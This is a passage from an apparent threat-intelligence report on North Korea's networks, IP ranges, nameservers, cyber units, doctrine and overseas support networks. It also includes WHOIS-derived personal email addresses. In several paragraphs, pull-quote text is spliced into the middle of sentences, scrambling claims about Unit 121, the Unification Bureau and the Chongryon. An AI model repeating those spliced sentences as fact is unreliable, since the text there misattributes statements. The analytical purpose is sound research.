Bay s hosting is irrelevant to our research, he did detail that 175.45.177.0/24 always routes through AS4837, and AS131279. AS131279 is Star-KP, North Korea s Star Joint Venture Company, and AS4837 is China Unicom. The author concluded that [traffic] is ONLY routed through China Unicom and NOT through Intelsat. 67 In February 2014, North Korean and South Korean officials agreed to extend Internet access to Kaesong Industrial Zone, a jointly operated industrial complex just north of the border. However, this would likely require a major electrical and network infrastructure expansion.68 North Korea s electrical grid cannot support a large technological infrastructure.69 Electrical power is reported to be unreliable and sporadic, with many citizens only receiving a few hours of electricity per day.70 http://www.northkoreatech.org/2011/05/19/more-details-on-star-joint-venture/ http://www.computerworld.com/s/article/9177968/North_Korea_moves_quietly_onto_the_Internet?taxonomyId=18&pageNumber=2 http://www.northkoreatech.org/2010/10/09/the-new-face-of-kcna/ http://webcache.googleusercontent.com/search?q=cache:http://english.chosun.com/site/data/html_dir/2001/05/29/2001052961197.html http://www.northkoreatech.org/2012/04/08/dprk-gets-second-link-to-internet/ http://www.computerworld.com/s/article/9237652/North_Korea_39_s_Internet_returns_after_36_hour_outage https://rdns.im/the-pirate-bay-north-korean-hosting-no-its-fake-p2 http://www.northkoreatech.org/2014/02/10/internet-coming-to-kaesong-industrial-zone/ http://38north.org/2010/09/speak-loudly-and-carry-a-small-stick-the-north-korean-cyber-menace/ http://www.usnews.com/news/blogs/rick-newman/2013/04/12/heres-how-lousy-life-is-in-north-korea Figure 3 North and South Korean power grid The photo above (Figure 3), from the International Space Station, shows North Korea s sparse power grid, in comparison with surrounding nations.71 We have highlighted North Korea in red. Koryolink, the country s only cellular phone network,72 is tightly controlled by the regime.73 Cell phone data plans are not available to most users. Most cellular phones cannot access the Internet and can only make domestic calls.74 According to a 2013 report, North Korea has a 3G data network for cellular phones. Visiting reporter Jean H. Lee purportedly used this 3G network to post to both Twitter and Instagram. However, citizens are not generally allowed to use the 3G network.75 Email is also regulated by the regime. The first email provider in North Korea was Silibank. Silibank has servers in Pyongyong and Shenyang and is a joint venture with China. The North Korean Silibank homepage is silibank.net, and the Chinese homepage is silibank.com. In order to use the email service, users had to initially register, provide personal information, and pay a registration fee and monthly service fees.76 This registration information was current as of 2001. However, it is unknown whether the same process still applies. WHOIS records for silibank.net show that the site was registered anonymously via a Japanese registrar. This information can be found in Appendix A at the end of this paper. http://www.citylab.com/work/2014/02/north-korea-night-looks-big-black-hole/8484/ http://www.northkoreatech.org/2014/06/24/chinese-shops-offer-cheap-cellphones-to-north-koreans/ http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.austinchronicle.com/daily/sxsw/2013-03-11/social-media-in-north-korea/ http://edition.cnn.com/2001/TECH/internet/11/07/north.korea.email.idg/index.html Korea Computer Center (KCC) is North Korea s leading government research center for information technology. KCC has eleven regional information centers and eight development and production centers. Other countries with KCC branch offices include China, Syria, Germany, and United Arab Emirates. KCC has a vested interest in Linux research and is responsible for the development of North Korea s national operating system, Red Star OS, which is discussed in more detail below. KCC s other projects have included a proprietary search engine, a document writer, a game called Jang-Gi, the Kwangmyong intranet, a food study program, a Korean input method editor, a pen-based English-Korean and Korean-English translator, Korean voice recognition software, a video conferencing system, a distance education system, SilverStar Paduk software, HMS Player77, and the Samjiyon tablet. 78 In addition to research and development, KCC also monitors websites of foreign government and business entities and conducts technical reconnaissance to blueprint the technical specifications and vulnerabilities in foreign systems and technologies. KCC has also been involved in clandestine information and cyber operations, serving as a command center.79 North Korea s proprietary operating system is Red Star OS. The development of this Linux-based operating system started in 2002. Red Star OS is only offered in the Korean language and features proprietary software including Naenara (a Firefox-based browser), as well as a text editor, email client, audio and video players, and games.80 Red Star OS s keyboard layouts include Korean, English, Russian, Chinese, and Japanese. Regime ideals extend to Red Star OS. The readme file, which goes with the installation disc, reportedly includes a quote from Kim Jong-Il regarding the importance of North Korea having its own Linux-based operating system that is compatible with Korean traditions. While prior versions of Red Star were KDE-based, version 3.0 mimics Apple s OS X.81 82 This could indicate the regime leader Kim Jong Un s preference for the OS X environment, as Kim reportedly uses an iMac.83 Citizens do not need permission to obtain Red Star OS. However, the purchase of computers is heavily regulated.84 The OS s design suggests it was developed with means for the regime to monitor user activity.85 North Korea is known to use two IP ranges. 175.45.176.0/22 is North Korea s own IP block.86 Additionally, North Korea s Telecommunications Ministry is the registered user of China Unicom IP range 210.52.109.0/24.87 The country s only autonomous system (AS) number is AS131279, and its only peer is AS4837, the AS for China Unicom.88 North Korea s country code top-level domain (ccTLD) is .kp. In 2007, the .kp TLD was initially delegated to and administered by the German-based KCC Europe.89 After KCC Europe failed to http://www.naenara.com.kp/en/kcc/ http://www.northkoreatech.org/2012/09/28/samjiyon-android-tablet-debuts-at-pyongyang-trade-fair/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://ashen-rus.livejournal.com/4300.html http://news.bbc.co.uk/2/hi/technology/8604912.stm http://www.arnnet.com.au/article/537360/north_korea_goes_osx-like_new_operating_system/ http://www.businessinsider.com/brand-new-photo-confirms-that-kim-jong-un-is-a-mac-user-2013-3 http://rt.com/news/north-korea-cyber-weapon/ http://news.bbc.co.uk/2/hi/technology/8604912.stm http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ https://www.northkoreatech.org/2011/06/26/north-koreas-chinese-ip-addresses/ http://binarycore.org/2012/05/29/investigating-north-koreas-netblock-part-2-dns/ http://www.northkoreatech.org/2011/05/19/kp-domain-switch-came-after-kcc-europe-disappeared/ maintain the TLD, it was re-delegated to Star Joint Venture Company.90 The .kp TLD uses the following nameservers and IP addresses:91 Nameserver ns1.kptc.kp ns2.kptc.kp ns3.kptc.kp IP Address 175.45.176.15 175.45.176.16 175.45.178.173 Various U.S., U.N, and other sanctions prohibit export of dual-use technologies to North Korea. In light of this, North Korea has managed to develop both hardware and software and hosts an annual National Exhibition of Invention and New Technologies to promote its products.92 However, the regime has historically failed in its attempts at large-scale production of electronic components. The country s sparse electrical grid is one of the major obstacles hindering largescale manufacturing.93 Additionally, the famine in the early 1990 s negatively impacted existing manufacturing facilities, and the regime simply does not have the capital to modernize those factories.94 A member of the World International Property Organization (WIPO), North Korea joined the WIPO Patent Cooperation Treaty that protects patents and trademarks worldwide, and leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.95 The regime, in its efforts to isolate its citizens from Western influence, leverages intellectual property laws to ensure Westerners do not take credit for North Korean inventions.96 This is ironic since foreign-made electronic components are sometimes smuggled into North Korea for military use and for personal use by the regime s upper echelon. An analysis of developments in North Korean cyberspace since 2010 A comparison of a scan97 of North Korea s IP ranges in November 2010, just one month after North Korea made its first direct connection to the Internet, and a series of several scans we conducted in May 2014, shows that North Korea has made significant headway in establishing its Internet presence. In the November 2010 scan, 175.45.176.0 - 175.45.176.16 showed a variety of devices including D-link, Cisco, Linksys, HP, and Nokia devices, and a Juniper networks firewall. Operating systems detected included FreeBSD 6.x, Linux 2.6.x, and Red Hat Enterprise Linux. 175.45.176.14 returned Naenara as an html-title. Most hosts in the 175.45.176.xx and 175.45.177.xx ranges were down. As of 2014, IP addresses 175.45.176.0 - 175.45.177.255 appear to be used for websites, nameservers, databases, email, and voice over IP (VoIP). In November 2010, the 175.45.178.xx range showed all hosts down,98 and the 175.45.179.xx range showed most hosts were down.99 http://www.iana.org/reports/2011/kp-report-20110401.html http://www.iana.org/domains/root/db/kp.html http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf http://sinonk.com/2013/10/11/a-primer-on-north-koreas-economy-an-interview-with-andrei-lankov/ http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://yu.edu/admissions/events/yunmun/WIPO/Libenstein_WIPO_Topic1_HAHS.pdf http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.178.txt http://webcache.googleusercontent.com/search?q=cache:http://dprk.sipsik.net/175.45.179.txt In 2014, several webservers and nameservers were found in the 175.45.178.xx range, and several nameservers and mail servers were found in the 175.45.179.xx range. This comparison demonstrates that there has been some growth in DPRK Internet infrastructure over the past four years. However, it seemingly lags behind even most third world nations. The 2014 scans detected dated technology that is potentially susceptible to multiple vulnerabilities and consistently showed the same open ports and active devices on scanned hosts. It is not clear whether the regime failed to notice and react to the scanning or whether the regime allows these open ports and devices to be detected or spoofed to serve as a distraction or possible honeypot. Domains, nameservers, and mail servers present during the May 2014 scan are listed in Appendix B at the end of this report. According to Alexa rankings, the three most visited websites in North Korea are kcna.kp, the official website of the Korean Central News Agency (KCNA)100; rodong.rep.kp, another North Korean news site101; and naenara.com.kp, North Korea s official web portal.102 Naenara translates my country The kcna.kp site was registered using a Loxley.co.th email address and is administrated by Star Joint Venture Company. The WHOIS Record can be found in Appendix A. http://dig.do/kcna.kp http://dig.do/rodong.rep.kp http://dig.do/naenara.com.kp Figure 4 A screenshot from the kcna.kp homepage.103 Rodong.rep.kp was registered using the same loxley.co.th email address and is also administered by Star Joint Venture Company. The WHOIS Record for this site can be found in Appendix A. http://kcna.kp/kcna.user.home.retrieveHomeInfoList.kcmsf Figure 5 A screenshot from the rodong.rep.kp homepage.104 The WHOIS information for Naenara.com.kp was not available. http://rodong.rep.kp/ko/ Figure 6 A screenshot of the Naenara.com.kp website.105 In March 2013, there were reports that the Chrome browser was blocking Naenara.com.kp due to malware.106 Figure 7 Screenshot of what visitors to Naenara.com.kp saw when using the Chrome browser.107 http://naenara.com.kp/en/ http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ Figure 8 Screenshot detailing why Chrome blocked the site108 It is difficult to say whether this incident is a case of North Korea serving malware or whether a third party took advantage of an improperly secured website. Several major North Korean websites are hosted outside of North Korea. The popular Uriminzokkiri.com website, whose name translates to our nation, is hosted in China. The administrative contact for the website is Kim Sejun, and the email address given as contact information is hyk1979@hotmail.com. The WHOIS Record for this site can be found in Appendix A. http://www.nkeconwatch.com/2013/03/25/chrome-blocking-naenara/ Figure 9 A screenshot of the Uriminzokkiri website 109 The website for Kim Il Sung Open University, otherwise known as Our Nation School is also hosted in China. The WHOIS record for this site can be found in Appendix A. http://www.uriminzokkiri.com/ Figure 10 A screenshot of ournation-school.com. 110 North Korean cyber war and intelligence structure At the top of North Korea s military structure is the National Defense Commission (NDC). The NDC is also the highest branch of government and the regime s supreme policymaking body. 111 Along with the Central Committee of the Workers Party of Korea and the Cabinet, NDC is at the top of http://www.ournation-school.com/ https://nkleadershipwatch.wordpress.com/dprk-security-apparatus/national-defense-commission/ North Korea s political hierarchy.112 Article 106 of North Korea s Constitution gives the NDC the following powers:113 The power to establish policies of the state in accordance with the military-first revolutionary line. The power to guide the armed forces and oversee defense building. The power to supervise and ensure the NDC and its chairman s orders are executed and to establish necessary measures. The power to override any state decisions or directives that are in opposition to the NDC or its chairman s decisions and directives. The power to create or remove central organs of the national defense sector. The power to create and bestow military titles above general-grade officer rank. The NDC oversees several defense and intelligence bodies including the Ministry of State Security, the Ministry of People s Security, the Ministry of People s Armed Forces, and the Korean People Army. The Ministry of State Security (MSS), also known as the State Security Department, is North Korea s primary counterintelligence service. It is considered an autonomous agent of the regime and reports directly to leader Kim Jong Un. The MSS s duties include oversight of North Korean prison camps, investigation of domestic espionage, repatriation of defectors, and overseas counterespionage operations.114 The Ministry of People s Security is also known as the Ministry of Public Security (MPS). Focused on domestic order, it oversees North Korea s national police force, conducts criminal investigations and preliminary examinations, and oversees correctional facilities, excluding prison camps.115 While the roles of the MSS and MPS focus more on intelligence than on cyber operations, the MSS also reportedly has a communications monitoring and computer hacking group.116 The Ministry of People s Armed Forces (MPAF) administrates the Korean People s Army (KPA) and oversees the General Staff Department (GSD), which is responsible for Unit 121 comprises both an intelligence component and operational command and control of North Korea s armed forces. The General an attack component. One of Staff Department also oversees the Reconnaissance General Bureau (RGB), North Unit 121 s command posts is Korea s agency for clandestine operations. The RGB has a role in both traditional Chilbosan Hotel in Shenyang, and cyber operations. In the past, the RGB has sent agents on overseas military China. Unit 121 maintains assistance missions to train insurgent groups.117 The RGB reportedly has a special technical reconnaissance teams responsible for operations forces (SOF) element118 and oversees six bureaus that specialize in infiltration of computer operations, reconnaissance, technology and cyber matters, overseas intelligence networks, hacking to obtain collection, inter-Korean talks, and service support.119 Two of these bureaus have intelligence, and planting been identified as the No. 91 Office and Unit 121. The No. 91 Office, an office viruses on enemy networks. responsible for hacking, operates out of the Mangkyungdae-district of http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ http://asiamatters.blogspot.co.uk/2009/10/north-korean-constitution-april-2009.html http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.factba.se/handbook-page.php?id=1129700 http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf http://www.strategicstudiesinstitute.army.mil/pdffiles/pub771.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf Pyongyang.120 Unit 121 comprises both an intelligence component and an attack component. Unit s headquarters is in the Moonshin-dong area of Pyongyang, near the Taedong River.121 It also has components that conduct operations from within China. One of Unit 121 s command posts is Chilbosan Hotel122 in Shenyang, the capital of Liaoning Province, which borders North Korea.123 Shenyang is a Chinese military district.124 According to Dr. Alexandre Mansourov, an expert on North Korea and a visiting scholar at the U.S.-Korea Institute at Johns Hopkins University, "They [Unit 121] are believed to have conducted hacking operations from inside China that falsify classified data and disrupt U.S. and South Korean systems."125 Both Unit 121 and an entity known as Lab 110 are reported to maintain technical reconnaissance teams responsible for infiltrating computer networks, hacking to obtain intelligence, and planting viruses on enemy networks.126 127 Figure 11 A map pinpointing the location of the Chilbosan Hotel.128 http://www.infosecisland.com/blogview/21577-Concerns-Mount-over-North-Korean-Cyber-Warfare-Capabilities.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 http://www.defense.gov/pubs/2014_DoD_China_Report.pdf http://www.csmonitor.com/World/Security-Watch/2013/1019/In-cyberarms-race-North-Korea-emerging-as-a-power-not-a-pushover/(page)/4 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. maps.google.com Figure 12 A satellite view of the Chilbosan Hotel.129 Several entities are nested under the Workers Party. The Central Party The Unification Bureau falls Committee oversees the Central Party Investigative Group, also known as Unit under the Workers Party. Its 35. Unit 35 is reportedly responsible for technical education and training of Operations Department is cyber warriors. The Unification Bureau s Operations Department is responsible for cyberresponsible for cyber-psychological warfare, organizational espionage, and psychological warfare, organizational espionage, and oversight of Unit 204. Unit 204 s responsibilities include planning and execution oversight of Unit 204. Unit 204 of cyber-psychological warfare operations and technological research. The responsibilities include planning Psychological Operations Department of the North Korea Defense Commission and execution of cyberalso engages in cyber-psychological warfare.133 The 225th Bureau, or Office 225, psychological warfare operations is responsible for training agents, infiltration operations in South Korea, and and technological research. The Psychological Operations creation of underground political parties in order to incite disorder and revolution. Department of the North Korea It plays a more traditional intelligence and psychological operations role, rather Defense Commission also than focusing on cyber operations.134 The United Front Department (UFD) engages in cyber-psychological conducts overt operations to create pro-North Korean groups in South Korea. warfare. Examples of this activity include the Korean Asia-Pacific Committee and the Ethnic Reconciliation Council. The UFD also manages inter-Korean dialogue and North Korea policy toward South Korea. Its operations are also more traditional rather than cyber-focused.135 maps.google.com Clarke, R. A. (2012). Cyber war: The next threat to national security and what to do about it. New York, NY: Ecco. https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://goodfriendsusa.blogspot.co.uk/2008/07/north-korea-today-no174.html https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf http://www.defense.gov/pubs/North_Korea_Military_Power_Report_2013-2014.pdf The Liaison Department of the Worker s Party oversees a faction of ethnic North Koreans residing in Japan who are critical to North Korea s cyber and intelligence programs. This group, which was established in 1955, is referred to by various names including the Chosen Soren, Chongryon, and the General Association of Korean Residents in Japan.136 The Chongryon ascribe to juche and seek to preserve North Korean culture while living in Japan. They operate North Korean style schools and refuse to assimilate with Japanese culture.137 According to Mitsuhiro Suganuma, former section head of the second intelligence department of the Japanese Public Security Intelligence Agency (PSIA), Chongryon is virtually under the direct control of the Liaison Department of the Workers Party of Korea, which has been in charge of North Korea s covert operations and underground activities against South Korea. Chongryon in Japan has been a strong support organization aimed at bringing a revolution in South Korea, or a red unification by force. He also stated North Korea will continue to make Chongryon serve as Pyongyang s pawn in covert operations against South Korea. 138 The Chongryon are vital to North Korea s military budget, raising funds via weapons trafficking, drug trafficking, and other black market activities.139 The group also forms front companies abroad that benefit the regime by generating Chongryon is virtually hard currency. One example is Unikotech, which was formed to sell KCC products under the direct control of abroad. 140 The Chongryon s underground group known as the Gakushu-gumi, or the Liaison Department of the Workers Party of Korea, the study group , gathers intelligence for North Korea and helps the regime which has been in charge of procure advanced technologies.141 The Chongryon s role in North Korean North Korea s covert intelligence and resource acquisition is discussed below in more detail. operations and underground activities against South Korea. The regime also has several government bodies under the Cabinet142 that oversee its infrastructure, intelligence, and technological development. These include the Central Scientific and Technological Information Agency (CSTIA), the Ministry of Electronics Industry, and the Ministry of Posts and Telecommunications. The CSTIA collects, analyzes, and processes data regarding advanced science and technology then sends relevant information to appropriate areas of the national economy.143 The amount of information contained in CSTIA's technical database makes it North Korea's largest scientific facility. According to a CIA article, review of CSTIA s publications showed that China, Russia, and Japan are important sources of technical data. CSTIA s publications include newsletters and an 18-volume science and technology reference series.144 The Ministry of Posts and Telecommunications is the body of oversight for Star Joint Venture Co.145 http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html http://www.moj.go.jp/ENGLISH/PSIA/psia02-03.html http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://www.learningace.com/doc/2025666/863b663a9fb13b456304dd0a3bc43547/cyberwarfare http://www.ists.dartmouth.edu/docs/cyberwarfare.pdf http://whataboutnorthkorea.nl/2013/02/the-korean-workers-party/ https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html https://www.cia.gov/library/center-for-the-study-of-intelligence/kent-csi/vol48no1/pdf/v48i1a04p.pdf https://www.northkoreatech.org/tag/ministry-of-posts-and-telecommunications/ North Korean cyber and intelligence organizational chart Figure 13 North Korean cyber and intelligence organizational chart North Korea s cyber doctrine, strategies and goals North Korea s cyber warfare doctrine has not been clearly stated. However, based on cultural and technical observations, we may deduce that North Korea s cyber doctrine follows the tenets of juche nationalism and the songun doctrine. Although North Korea s limited online presence makes a thorough analysis of their cyber warfare capabilities a difficult task, it must be noted that what is known of those capabilities closely mirrors their kinetic warfare tactics. Cyber warfare is simply the modern chapter in North Korea long history of asymmetrical warfare. North Korea has used various unconventional tactics in the past, such as guerilla warfare, strategic use of terrain, and psychological operations.146 The regime also aspires to create viable nuclear weapons.147 Asymmetrical warfare is defined as conflict in which the resources of two belligerents differ in essence and in the struggle, interact and attempt to exploit each other's characteristic weaknesses. Such struggles often involve strategies and tactics of unconventional warfare, the weaker combatants attempting to use strategy to offset deficiencies in quantity or quality . 148 According to the aforementioned report to the House Armed Service Committee, Cyber warfare is an important asymmetric dimension of conflict that North Korea will probably continue to emphasize in part because of its deniability and low relative costs. 149 North Korea s poor economic state150, further explains the regime s reliance on these tactics. In 2014, the regime reportedly spent 16% of its budget on defense.151 The North Korean military places a strong emphasis on information warfare capabilities including political and psychological warfare152 and cyber or hacker warfare.153 The report by Capt. Duk-Ki Kim, Ph.D. highlighted North Korea s counter-asymmetric strategy and ranked each based on intensity and frequency: Figure 14 Threat matrix of North Korean asymmetric war capabilities.154 Cyber warfare operations Just ten years ago, experts noted that North Korea was one of the least network-ready and most isolated societies on the planet. 155 Today North Korea s air-gapped networks and prioritization of resources for military use provide both a secure and structured base of operations for cyber operations and a secure means of communications.156 North Korea s hermit infrastructure creates http://www.history.army.mil/brochures/kw-balance/balance.htm http://www.bbc.com/news/world-asia-pacific-11813699 http://www.princeton.edu/~achaney/tmve/wiki100k/docs/Asymmetric_warfare.html http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.foreignpolicy.com/articles/2013/04/29/7_things_north_korea_is_really_good_at http://blogs.wsj.com/korearealtime/2014/04/10/north-korea-details-budget-plans/ https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.giac.org/paper/gsec/1870/information-warfare/103284 https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH4.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf a cyber-terrain that deters reconnaissance. Because North Korea has few Internet connections to the outside world, anyone seeking intelligence on North Korea s networks has to expend more resources for cyber reconnaissance.157 A 2003 article by the U.S. Office of the National Counterintelligence Executive assessed that Development of the nation, rather than empowerment of the individual, appears to be driving DPRK efforts to develop domestic IT infrastructure and industry. 158 In November 2013, Kim Jong Un referred to cyber warfare capabilities as a magic weapon in conjunction with nuclear weapons and missiles.159 According to Kim Heung-kwang, a North Korean defector and former computer science professor, the regime has the following motivations for expanding its cyber warfare capabilities:160 Cyber capabilities are a cost-effective way to offset North Korea s lack of kinetic military prowess. North Korea s school systems place a strong emphasis on math, giving the nation confidence in its programmers, cryptographers, and security researchers. In the modern warfare landscape, cyber capabilities are potentially more utilitarian than heavy artillery or aircraft. Cyber warfare capabilities provide a platform for espionage, psychological operations, and other forms of non-kinetic warfare. Considering the separatist nature of North Korea s infrastructure, cyber warfare provides a strategic advantage since outbound attacks are possible, but inbound attacks would have limited reach. Cyber warfare allows North Korea to leverage the Internet s inherent flaws for offensive purposes while maintaining its defenses, primarily via air-gapping its most critical networks from the outside world. North Korea s attack and defense capabilities reportedly include the following cyber warfare and electronic warfare components: offensive cyber operations (OCO); computer network operations (CNO), which includes both computer network attack (CNA) and computer network exploitation (CNE); distributed denial of service (DDoS);161 satellite monitoring; drones; GPS jamming capabilities162; and deployment of electromagnetic pulse (EMP).163 North Korea s OCO and CNO capabilities became apparent as early as 2004, when North Korea reportedly gained access to 33 of 80 South Korean military wireless communication networks. In June 2006, an attack on the U.S. State Department originating in the East Asia-Pacific region coincided with U.S.-North Korea negotiations over the regime s nuclear missile testing.164 A month later, a South Korean military report implicated North Korea s Unit 121 in hacking the South Korean and U.S. Defense Departments. North Korea also tested a logic bomb in October 2007. A logic bomb is malicious http://www.huffingtonpost.com/2011/07/25/digital-revolution-north-korea_n_908368.html http://www.ncix.gov/publications/archives/docs/NORTH_KOREA_AND_FOREIGN_IT.pdf http://english.chosun.com/site/data/html_dir/2013/11/05/2013110501790.html http://www.aljazeera.com/indepth/features/2011/06/201162081543573839.html http://www.defense.gov/pubs/ReporttoCongressonMilitaryandSecurityDevelopmentsInvolvingtheDPRK.pdf https://www.usnwc.edu/getattachment/8e487165-a3ef-4ebc-83ce-0ddd7898e16a/The-Republic-of-Korea-s-Counter-asymmetric-Strateg http://www.theregister.co.uk/2014/04/22/norks_drones_made_in_china/ http://www.informationweek.com/state-department-releases-details-of-computer-system-attacks/d/d-id/1045112? code programmed to execute based on a pre-defined triggering event. Following the logic bomb test, the UN passed a resolution banning sales of certain computer hardware to North Korea.165 North Korea considers its cyber warfare capabilities an important asymmetric asset in the face of its perceived enemies, the U.S. and South Korea. While North Korea does not have an immersive digital culture, both the U.S. and South Korea are heavily dependent upon technological infrastructure for social, economic, and political stability.166 For this reason, a cyber attack that cripples or compromises the reliability of the U.S. or South Korea s technological infrastructure could have a far-reaching impact. Gaming for profit and pwnage North Korea has reportedly used computer games for both illegal capital gain and North Korea has used orchestrating cyber attacks. In 2011, South Korean police arrested five individuals, computer games for both including one Chinese national, for allegedly collaborating with North Korean hackers illegal capital gain and affiliated with the Korea Computer Center to steal money via online games.167 orchestrating cyber attacks. According to South Korean reports, the culprits used an auto-player to quickly progress in the massively multiplayer online role-playing game (MMORPG) Lineage and were able to use the game s market to obtain real currency.168 In 2013, South Korean officials released information stating they had found evidence that North Korea was using games as a medium for infecting machines and launching cyber attacks. North Korea had used game downloads to infect 100,000 South Korean machines for a botnet used to launch a distributed denial of service (DDoS) attack against Incheon Airport.169 This clever tactic sought to leverage a seemingly innocent game as a force multiplier in order to amplify the effects of a DDoS attack on a critical infrastructure target. However, in this case, there was little impact on the target. Intelligence and counterintelligence North Korea s intelligence program is one of its strongest military assets, providing foundational support for all other military operations. The regime s cyber warfare capabilities, in particular, rely heavily on open-source intelligence (OSINT) collection and cyber-espionage. 170 As noted in a CIA publication, "It is a significant irony of our information age that open-source intelligence is contributing to the survival and development of one of the world's most secretive regimes."171 Historically, the primary goals of the regime s intelligence program included collection and dissemination of intelligence concerning any possible political, military, or economic threat to the regime s security and stability. Secondary goals have included "acquisition of foreign military and civilian technologies and equipment, support of the DPRK s foreign policy goals, training and http://www.scribd.com/doc/15078953/Cyber-Threat-Posed-by-North-Korea-and-China-to-South-Korea-and-US-Forces-Korea http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH2.pdf http://www.theguardian.com/technology/2011/aug/04/south-north-korean-hackers-china http://english.chosun.com/site/data/html_dir/2011/05/06/2011050600827.html http://www.zdnet.com/blog/security/north-korea-ships-malware-infected-games-to-south-korean-users-uses-them-to-launch-ddosattacks/12383 http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf https://www.cia.gov/library/center-for-the-study-of-intelligence/csi-publications/csi-studies/studies/vol48no1/article04.html support for foreign revolutionary and terrorist organizations, and the acquisition of foreign capital for state and intelligence operations."172 North Korea has a broad reach for intelligence collection, which extends to cyber intelligence.173 In April 2013, Solutionary, a company providing managed security services, reported a marked increase in both overt attacks and information gathering attempts originating from A faction of ethnic North North Korean IPs. Solutionary refers to any overt external attacks on company Koreans residing in Japan, networks or attempts to steal data as "touches. They reportedly recorded 12,473 of known as the Chongryon, these touches in February 2013, 11,000 of which were directed at a single financial are critical to North Korea institution. As a baseline, Solutionary noted that typically only 200 incidents per cyber and intelligence programs. month are traced to North Korean origin. This is an interesting claim, considering that attacks attributed to North Korea are usually routed through other countries. As mentioned above, a faction of ethnic North Koreans residing in Japan, known as the Chongryon, are critical to North Korea s cyber and intelligence programs and help generate hard currency for the regime. The Chongryon headquarters has been recognized as the de facto North Korean embassy in Japan. In 2012, the organization s headquarters was seized to pay for the group past due debts.175 Figure 15 Headquarters of the Chongryon.176 http://www.apcss.org/Publications/Edited%20Volumes/BytesAndBullets/CH13.pdf http://docs.house.gov/meetings/AS/AS00/20140402/101985/HHRG-113-AS00-Wstate-ScaparrottiUSAC-20140402.pdf http://www.usatoday.com/story/tech/2013/04/26/cyberspying-from-north-korean-ip-addresses-spike/2115349/ http://sundaytimes.lk/?option=com_content&view=article&id=21034:japan-court-approves-seizure-of-nkorea-embassymedia&catid=81:news&Itemid=625 http://www.nknews.org/2014/02/chongryon-still-pyongyangs-pawn-in-covert-operations-former-intelligence-officer/ It was then purchased by a monk named Ekan Ikeguchi, who let the Chongryon continue to use the building in what he referred to as a goodwill gesture . Ikeguchi is one of the Chongryon many ties to organized crime. Ikeguchi was arrested in the past for an attempted coup against the Japanese government. He also has ties to the political group Nihon Seinensya, which is involved in illegal activities in conjunction with the yakuza syndicate Sumiyoshi-kai, which imports and sells amphetamines made in North Korea.177 North Korea also has black market ties to Sumiyoshi-kai rival syndicate, Yamaguchi-gumi. Many members of the Kodo-kai, Yamaguchi-gumi s ruling faction, are Korean-Japanese, with ties to North Korea.178 Masahiro Namikawa, leader of the drug trafficking Seido-kai yakuza organization, also has ties to the Chongryon.179 The Chongryon operate at least two websites, chongryon.com, which is in Japanese, and koreanp.co.jp. WHOIS records for chongryon.com indicate that it was registered by guanin o using the email address park2@mac.com. The WHOIS information for korea-np.co.jp. shows that it was registered by Choson Shinbo Company Inc. The WHOIS records for these sites can be found in Appendix A. Additionally, the Chongryon operate a ferry called the Mangyongbong-92, the only direct transit from Japan to North Korea. In 2003, they were suspected of using the ferry to smuggle missile parts.180 In 2006, the ferry was temporarily banned from Japanese waters when Japanese officials discovered the Chongryon were using it to smuggle dual-use electronics to North Korea to be used for military purposes.181 North Korea has a global network of state-run businesses located in 30 to 40 countries that is used for espionage activities. The Reconnaissance General Bureau is responsible for oversight of this network.182 The businesses include cafes and other non-suspect establishments. The highest concentration of these is in China. Members of this espionage network reportedly send more than $100 million in cash per year to the regime and provide cover for spies. 183 